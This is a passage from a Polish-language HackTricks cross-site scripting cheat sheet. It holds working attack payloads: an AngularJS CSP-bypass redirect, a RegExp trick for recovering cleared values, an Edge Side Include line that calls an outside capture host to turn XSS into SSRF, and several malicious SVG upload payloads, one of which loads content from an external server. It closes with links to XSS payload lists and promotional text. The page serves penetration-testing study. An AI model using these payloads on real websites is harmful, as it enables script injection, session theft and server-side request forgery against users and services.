<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
|
|||
|
```
|
|||
|
### Regex - Dostęp do ukrytej zawartości
|
|||
|
|
|||
|
Z [**tego opisu**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) można się dowiedzieć, że nawet jeśli niektóre wartości znikają z JS, nadal można je znaleźć w atrybutach JS w różnych obiektach. Na przykład, wejście REGEX nadal można znaleźć po usunięciu wartości wejścia regex:
|
|||
|
```javascript
|
|||
|
// Do regex with flag
|
|||
|
flag="CTF{FLAG}"
|
|||
|
re=/./g
|
|||
|
re.test(flag);
|
|||
|
|
|||
|
// Remove flag value, nobody will be able to get it, right?
|
|||
|
flag=""
|
|||
|
|
|||
|
// Access previous regex input
|
|||
|
console.log(RegExp.input)
|
|||
|
console.log(RegExp.rightContext)
|
|||
|
console.log(document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"])
|
|||
|
```
|
|||
|
### Lista Brute-Force
|
|||
|
|
|||
|
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt" %}
|
|||
|
|
|||
|
## XSS Wykorzystywanie innych podatności
|
|||
|
|
|||
|
### XSS w Markdown
|
|||
|
|
|||
|
Możesz wstrzyknąć kod Markdown, który zostanie wyrenderowany? Może uda ci się uzyskać XSS! Sprawdź:
|
|||
|
|
|||
|
{% content-ref url="xss-in-markdown.md" %}
|
|||
|
[xss-in-markdown.md](xss-in-markdown.md)
|
|||
|
{% endcontent-ref %}
|
|||
|
|
|||
|
### XSS do SSRF
|
|||
|
|
|||
|
Masz XSS na **stronie, która używa cache**? Spróbuj **zaktualizować to do SSRF** poprzez wstrzyknięcie Edge Side Include z tym ładunkiem:
|
|||
|
```python
|
|||
|
<esi:include src="http://yoursite.com/capture" />
|
|||
|
```
|
|||
|
Użyj tego, aby obejść ograniczenia ciasteczek, filtry XSS i wiele więcej!\
|
|||
|
Więcej informacji na temat tej techniki tutaj: [**XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md).
|
|||
|
|
|||
|
### XSS w dynamicznie tworzonym PDF
|
|||
|
|
|||
|
Jeśli strona internetowa tworzy PDF przy użyciu danych kontrolowanych przez użytkownika, możesz spróbować **oszukać bota**, który tworzy PDF, aby **wykonał dowolny kod JS**.\
|
|||
|
Jeśli **bot tworzący PDF znajdzie** jakiś rodzaj **znaczników HTML**, zacznie je **interpretować**, a ty możesz **wykorzystać** to zachowanie, aby spowodować **Server XSS**.
|
|||
|
|
|||
|
{% content-ref url="server-side-xss-dynamic-pdf.md" %}
|
|||
|
[server-side-xss-dynamic-pdf.md](server-side-xss-dynamic-pdf.md)
|
|||
|
{% endcontent-ref %}
|
|||
|
|
|||
|
Jeśli nie możesz wstrzyknąć znaczników HTML, warto spróbować **wstrzyknąć dane PDF**:
|
|||
|
|
|||
|
{% content-ref url="pdf-injection.md" %}
|
|||
|
[pdf-injection.md](pdf-injection.md)
|
|||
|
{% endcontent-ref %}
|
|||
|
|
|||
|
### XSS w Amp4Email
|
|||
|
|
|||
|
AMP, mający na celu przyspieszenie wydajności stron internetowych na urządzeniach mobilnych, zawiera znaczniki HTML uzupełnione przez JavaScript, aby zapewnić funkcjonalność z naciskiem na szybkość i bezpieczeństwo. Obsługuje szereg komponentów dla różnych funkcji, dostępnych za pośrednictwem [komponentów AMP](https://amp.dev/documentation/components/?format=websites).
|
|||
|
|
|||
|
Format [**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) rozszerza określone komponenty AMP na e-maile, umożliwiając odbiorcom interakcję z treścią bezpośrednio w ich e-mailach.
|
|||
|
|
|||
|
Przykład [**opisu XSS w Amp4Email w Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email).
|
|||
|
|
|||
|
### XSS przesyłanie plików (svg)
|
|||
|
|
|||
|
Prześlij jako obraz plik podobny do poniższego (z [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)):
|
|||
|
```markup
|
|||
|
Content-Type: multipart/form-data; boundary=---------------------------232181429808
|
|||
|
Content-Length: 574
|
|||
|
-----------------------------232181429808
|
|||
|
Content-Disposition: form-data; name="img"; filename="img.svg"
|
|||
|
Content-Type: image/svg+xml
|
|||
|
|
|||
|
<?xml version="1.0" standalone="no"?>
|
|||
|
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
|
|||
|
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
|
|||
|
<rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
|
|||
|
<script type="text/javascript">
|
|||
|
alert(1);
|
|||
|
</script>
|
|||
|
</svg>
|
|||
|
-----------------------------232181429808--
|
|||
|
```
|
|||
|
|
|||
|
```markup
|
|||
|
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
|
|||
|
<script type="text/javascript">alert("XSS")</script>
|
|||
|
</svg>
|
|||
|
```
|
|||
|
|
|||
|
```markup
|
|||
|
<?xml version="1.0" standalone="no"?>
|
|||
|
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
|
|||
|
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
|
|||
|
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
|
|||
|
<script type="text/javascript">
|
|||
|
alert("XSS");
|
|||
|
</script>
|
|||
|
</svg>
|
|||
|
```
|
|||
|
|
|||
|
```svg
|
|||
|
<svg width="500" height="500"
|
|||
|
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
|
|||
|
<circle cx="50" cy="50" r="45" fill="green"
|
|||
|
id="foo"/>
|
|||
|
|
|||
|
<foreignObject width="500" height="500">
|
|||
|
<iframe xmlns="http://www.w3.org/1999/xhtml" src="data:text/html,<body><script>document.body.style.background="red"</script>hi</body>" width="400" height="250"/>
|
|||
|
<iframe xmlns="http://www.w3.org/1999/xhtml" src="javascript:document.write('hi');" width="400" height="250"/>
|
|||
|
</foreignObject>
|
|||
|
</svg>
|
|||
|
```
|
|||
|
|
|||
|
```html
|
|||
|
<svg><use href="//portswigger-labs.net/use_element/upload.php#x"/></svg>
|
|||
|
```
|
|||
|
|
|||
|
```xml
|
|||
|
<svg><use href="data:image/svg+xml,<svg id='x' xmlns='http://www.w3.org/2000/svg' ><image href='1' onerror='alert(1)' /></svg>#x" />
|
|||
|
```
|
|||
|
Znajdź **więcej ładunków SVG w** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
|
|||
|
|
|||
|
## Różne sztuczki JS i istotne informacje
|
|||
|
|
|||
|
{% content-ref url="other-js-tricks.md" %}
|
|||
|
[other-js-tricks.md](other-js-tricks.md)
|
|||
|
{% endcontent-ref %}
|
|||
|
|
|||
|
## Zasoby XSS
|
|||
|
|
|||
|
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20injection)
|
|||
|
* [http://www.xss-payloads.com](http://www.xss-payloads.com) [https://github.com/Pgaijin66/XSS-Payloads/blob/master/payload.txt](https://github.com/Pgaijin66/XSS-Payloads/blob/master/payload.txt) [https://github.com/materaj/xss-list](https://github.com/materaj/xss-list)
|
|||
|
* [https://github.com/ismailtasdelen/xss-payload-list](https://github.com/ismailtasdelen/xss-payload-list)
|
|||
|
* [https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec](https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec)
|
|||
|
* [https://netsec.expert/2020/02/01/xss-in-2020.html](https://netsec.expert/2020/02/01/xss-in-2020.html)
|
|||
|
|
|||
|
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
|||
|
|
|||
|
Jeśli jesteś zainteresowany **karierą w hackingu** i chcesz złamać to, co nie do złamania - **zatrudniamy!** (_wymagana biegła znajomość polskiego w mowie i piśmie_).
|
|||
|
|
|||
|
{% embed url="https://www.stmcyber.com/careers" %}
|
|||
|
|
|||
|
{% hint style="success" %}
|
|||
|
Ucz się i ćwicz Hacking AWS:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
|||
|
Ucz się i ćwicz Hacking GCP: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|||
|
|
|||
|
<details>
|
|||
|
|
|||
|
<summary>Wsparcie HackTricks</summary>
|
|||
|
|
|||
|
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
|||
|
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
|||
|
* **Podziel się sztuczkami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na githubie.
|
|||
|
|
|||
|
</details>
|
|||
|
{% endhint %}
|